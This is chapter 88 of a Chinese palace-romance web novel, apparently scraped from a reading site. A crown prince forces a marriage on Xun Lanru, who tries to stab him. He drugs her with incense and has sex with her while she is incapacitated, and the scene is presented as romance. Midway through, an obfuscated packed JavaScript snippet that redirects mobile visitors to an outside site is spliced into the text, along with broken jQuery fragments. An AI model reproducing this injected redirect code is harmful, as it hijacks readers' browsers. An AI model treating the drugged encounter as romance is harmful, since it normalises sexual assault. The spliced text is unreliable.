88. 第 88 章

作品:《刻春闺

    她到现在都没有想明白,那个太子脑子里到底在想什么?为什么要把她娶进东宫来?父亲不在朝堂上,根本对他没有半分助力,这么做的意义何在?


    就只是为了让自己和赵衡分开吗?凭什么这样肆意操控别人的人生?


    “我听说大婚那日你连洞房都没有进可是真的?”


    皇后漫不经心地修剪着眼前的一株花草。


    明黄色的蟒袍下,那人眉眼微抬,缓缓提起了桌上的茶壶。


    “枯燥无趣,乏味的很,我去了又能做什么?一个再嫁之女难道我也要给足面子吗?”


    一根花枝落下,看着剩下的花朵,皇后满意的点点头。


    “这才成婚多久你就已经厌弃她了吗?”


    赵衡轻轻一笑,显得有些漫不经心,“我和她一丝情分都没有,何来的厌弃二字呢?”


    “不过是不想要你们强塞过来的人罢了。”


    身前的女人轻轻冷哼了一声,“既然没有一丝情分,又何必强拆人家的姻缘?”


    赵衡缓缓的站了起来,他微微偏头,“一来可以让父皇放下戒备心,二来是想看看究竟是真情重要,还是富贵重要。”


    “她要不来便也就罢了,偏偏来都来了还念着她那个相好。”他的话渐渐变得低沉起来,“一个什么都没有的穷小子,怎么争得过我呢?”


    皇后将手里的剪刀放下,“若是你娶了舅舅的女儿便也不会有这么多的事端,平凡无故把一对有情人牵扯进来,现在这样简直是你自讨苦吃。”


    她瞥了赵衡一眼,“等这场风波过后,尽快处理了她,另寻一门亲事吧。”


    赵衡将手上把玩着的东西往桌子上一放,“若是没有别的事,我就先告辞了母后。”


    此刻的东宫已经乱成了一团粥,上上下下找着那位不得宠的太子妃。


    “林公公,已经将所有的枯井查看过了,全都没有太子妃的身影。”


    “林公公,也没有人在池边看到太子妃的身影。”


    “书房没有人。”


    那人手拿着浮尘,急得满头大汗,“接着找,快点接着找!若是太子妃出了什么事,我们都逃不了。”


    赵衡回来的时候依旧上下乱的一团,没有一个人知道旬兰茹去哪了。


    看着哆哆嗦嗦跪了一地的人,赵衡快要忍不住自己的怒气,随着时间的推移,脸不由得越来越黑。


    他是知道这些人的,见风使舵的功夫比谁都会,肯定是因为自己假意冷落兰茹,所以他们才这么怠慢的。


    就在赵衡快要发火的时候,一个宫人突然急匆匆的跑了过来,“回禀殿下,找到太子妃了。”


    赵衡抬头,冷冷的看了那些人一眼,而后一甩袖子朝着寝殿走去。


    “这么晚了,太子妃去哪里了?”


    意识到身后的声音是属于那个太子后,她看向有些模糊的铜镜,上面印出了一道影子,旬兰茹手上的动作不停,缓慢地将头上的钗环解下来。


    “心情不好还不能到处逛逛吗?”


    只见印在铜镜上的身影缓缓坐到了一旁,他的视线依旧紧紧盯着自己。


    “你是太子妃,这东宫上下自然都是你的,想去哪里都可以。”


    旬兰茹将手里的梳子放下,梳妆柜里的的匕首露出隐约的寒光。


    摘耳环时,不小心发出了一声痛呼。


    赵衡寻声望去,“怎么了?”


    “耳环不小心扯到了头发。”


    见男人起身走过来后,她的眼睛里露出了一丝得逞。


    眼前突然被一层红纱所挡,男人的手缓缓落到了她的耳边,轻轻将那两根头发挑开,手指时不时擦过她的脸颊,明晃晃的撩拨。


    登徒浪子。


    旬兰茹转身拿着手中的短刀朝他刺去,男人微微偏头,反手将她搂在了自己怀里。


    “怎么?太子妃是要谋杀亲夫吗?”


    旬兰茹挣动着自己的手腕,却被那人越抓越紧,“什么亲夫?我早就和别人私定终身了!”


    赵衡嘴角轻轻勾起一抹微笑,伸手将那把刀夺了过来,“哦?那本太子算什么?算你的情夫吗?”


    他缓缓靠到旬兰茹耳边,“还是姘头?”


    旬兰茹将脸扭到一侧,“你怎么一点羞耻之心都没有!”


    没想到自己会被发现的这么快,连分毫也没有来得及伤他就被抓住了。


    “我现在什么都不怕,你是在地牢里把他折磨死了吧?把我也关在那里吧,我也会死在那里,我们会再见面的。”


    赵衡叹了口气,他怎么舍得呢?


    “为什么去那里?”


    手里的人还在不停挣扎,“我为什么不能去?我不去的话,怎么会发现东宫竟然有一个这么可怕的地方?!”


    “怎么会发现堂堂太子就是一个胡乱杀人的鬼面阎罗!”


    指责的声音里隐约带上了些哭腔,能听得出来,现在确实什么也不怕了。


    “太子妃应该好好想想,到底是谁这么挑拨你我?”


    旬兰茹一口咬在了他的手腕上,“你就是一个坏人!”


    “松开我!”


    赵衡缓缓松开了手,看着那道身影往前走了两步,心中默数。


    还不等将自己眼上的红纱扯下来,身形却越来越不稳,意识也越来越不清醒。


    赵衡将她横抱起来,往一侧的床边走去。


    “这……是什么香?”


    “我的头怎么越来越沉?”


    “好热……”


    男人将自己的腰带扯下,一手遮住她的眼睛,一手放在她的脖子上。


    “这几天我很想你。”


    赵衡伸手将床幔落了下来,屋里的烛光摇曳,满屋春色不曾泄露一分。


    旬兰茹醒来的时候,身边早就已经空无一人,她闭上眼睛,不甘心的手死的拽住被子,忍不住哭出了声,用手狠狠的捶向一旁。


    皇宫大殿上,几个人正争吵不休。


    无非就是谁又掺了谁一本,谁的儿子又在某地某地为非作歹,这些党羽之争,每日听着就够头痛,这些人却能数十年如一日的叽叽喳喳,也不知道究竟会不会疲乏?


    皇位之上的人打了个哈欠,一手撑着下巴,一手随意拿了本折子看。


    “春闱也该放榜了吧?朕看这童试的排名已经出来了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087731|164886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话音刚落,堂下的人都安静了起来。


    皇位上的人抬眼四处打量了一下,又看向一旁的御史台,真是奇怪,往常这个时候最能闹腾的一群人,现在怎么连句话都说不出了?


    一些人的脸上甚至还漫上了诡异的红色,像是刚刚他那一句话羞辱到了他们一样。


    眼神扫到一旁的赵衡,再看看另一侧的太师,往常不是应该为了这个第一甲争得你死我活吗?怎么现在一个个都被跟下了降头一样?


    “林志端。”


    他缓缓念出这三个字,看向一旁的赵衡,“他跟你八字不合吗?”


    赵衡手持笏板,一身板正,此人文章写的是不错,不难看出有些治理之才,就是可惜是个女子,眼下如同一块烫手山芋,到哪里都是倒霉。


    见他不出声,又看向一旁的太师,“莫非为人古板,迂腐不堪之辈?”


    就是意思说,你拿钱给他,他都不去你那儿?


    赵衡微微偏了偏头看向对面的太师。


    虽然已过意气风发之年,却未曾显出老态,一双眼睛里处处透露着精明算计,太师鞠了一躬,“禀陛下,按理说童试第一甲应当由陛下亲授官位才是。”


    皇上来了几分兴趣,这是让他做主的意思?


    心中暗想这人一定是有什么重大缺陷,估计缺胳膊少腿,又或者样貌丑陋,他实在想不通除此之外还有什么其他说法。


    朝里的大臣纷纷箴言,谁都不想去触这个霉头。


    “依太子来看,他应该封什么官位好呢?”


    赵衡慢悠悠的抬起头,“此人是个女子,儿臣也想不出来应该封赏些什么。”


    皇位上的人眯了眯眼睛,坐直了身体,将手上的折子扔了出去。


    大殿前的文武百官齐刷刷的跪了一拍,“微臣惶恐。”


    “千秋万里河山,竟然找不出一个能排第一甲的男童吗?”


    一旁的御史台有苦难言,上一年的时候被陛下发现第一甲是个草包,当场砍了几个人的头颅,扬言再有人徇私舞弊,闹市行腰斩之刑,一族流配三千里。


    这风头还没过,谁敢顶风作案?


    “陛下可万万不可封她官位。”


    他的眼神扫到那个现在才敢冒出头的白胡子老头身上。


    “女子之职为枲丝革织组紃,岂可治国安邦?”


    “如若有了第一例,这以后便会有第二例第三例,那这议事的朝堂岂非罗裙遍布?她们红装翩翩引人视线,哪里还会将心思放在朝处理政之上?”


    皇帝微微皱眉,一时分不清楚他是不是在骂自己。


    “看不出来王大人一大把年纪了,也偏爱红妆?”


    被赵衡这么一说,那人老脸通红像是被冤枉一般,扶膝一跪,“臣已到古稀之年,哪里还会想这些儿女私情的事?”


    一旁的左义康鞠了一躬,“望陛下慎重考虑,王大人此言不无道理,况且女子封官一事自开朝以来从未有过,万不可违背祖宗礼法动摇国之根本。”


    “罢了罢了,听你们这么说倒像是她犯了什么滔天大罪一般,如此小心眼做什么?我大安朝地大物博容得下一个女子第一甲。”